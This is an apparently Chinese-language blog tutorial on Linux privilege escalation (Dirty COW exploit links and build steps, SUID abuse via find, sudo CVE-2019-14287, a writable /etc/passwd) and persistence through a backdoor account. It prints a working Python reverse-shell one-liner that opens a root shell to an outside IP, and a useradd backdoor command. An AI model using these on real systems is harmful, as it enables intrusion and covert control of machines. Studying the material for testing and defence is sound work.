1. 程式人生 > 其它 >linux提權與許可權維持

linux提權與許可權維持

技術標籤:linux

一、Linux提權

1. 核心提權 之髒牛漏洞提權

髒牛漏洞,又叫Dirty COW,存在Linux核心中已經有長達9年的時間,在2007年釋出的Linux核心版本中就已經存在此漏洞。Linux kernel團隊在2016年10月18日已經對此進行了修復。

漏洞範圍:Linux核心 >= 2.6.22(2007年發行,到2016年10月18日才修復)

簡要分析:該漏洞具體為,Linux核心的記憶體子系統在處理寫入複製(copy-on-write, COW)時產生了競爭條件(race condition)。惡意使用者可利用此漏洞,來獲取高許可權,對只讀記憶體對映進行寫訪問。競爭條件,指的是任務執行順序異常,可導致應用崩潰,或令攻擊者有機可乘,進一步執行其他程式碼。利用這一漏洞,攻擊者可在其目標系統提升許可權,甚至可能獲得root許可權。

exp

https://github.com/gbonacini/CVE-2016-5195

https://github.com/FireFart/dirtycow

過程:

  • 使用uname -a命令檢視linux核心資訊,發現在髒牛漏洞範圍內,可以進行測試。
  • 將exp一下載到本地,使用gcc -pthread dirty.c -o dirty -lcrypt命令對dirty.c進行編譯,生成一個dirty的可執行檔案。
  • ./dirty 密碼命令,即可進行提權。

  • 此時使用上圖中的賬號密碼即可獲取root許可權。

2. suid提權

以下命令將嘗試查詢具有root許可權的SUID的檔案,不同系統適用於不同的命令,一個一個試

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm-4000-print2>/dev/null

find / -user root -perm-4000-exec ls -ldb {} \;

假如我們現在拿到了一個網站伺服器的shell,但是許可權是ubuntu,我們現在需要提權到 root 使用者許可權

find / -perm -u=s -type f 2>/dev/null

我們先看一下是否能用find命令以root許可權執行,發現確實可以以root許可權執行

/usr/bin/find examples.desktop -exec whoami \;

於是我們以root使用者的身份利用python反彈shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 #反彈一個sh型別的shell

3. sudo提權

漏洞背景

2019年10月14日, sudo 官方在釋出了CVE-2019-14287的漏洞預警。

sudo 是所有 unix作業系統(BSD, MacOS, GNU/Linux) 基本整合的一個使用者許可權控制/切換程式。允許管理員控制伺服器下使用者能夠切換的使用者許可權。

CVE-2019-14287是管理員在配置檔案中用了ALL關鍵詞後造成的。但預設的sudo配置檔案不受影響。

漏洞影響版本

sudo < 1.8.28

利用條件

  1. sudo的版本號<1.8.28
  2. 知道當前使用者的密碼
  3. 當前使用者存在於sudo許可權列表
  4. 當 /etc/sudoers 檔案存在如下形式的配置會導致漏洞的產生

    hack ALL=(ALL, !root) ALL

4. 錯誤配置提權

首先,檢視 /etc/passwd的許可權,檢視是否有寫入許可權

使用perl語言生成帶有鹽值的密碼

然後執行下面這條命令,成功將test使用者的資訊加入 /etc/passwd檔案

以使用者名稱 test 密碼 [email protected] 通過ssh登入該主機

二、Linux許可權維持

建立後門賬戶

useradd -p `openssl passwd -1 -salt ‘salt’ 123456` guest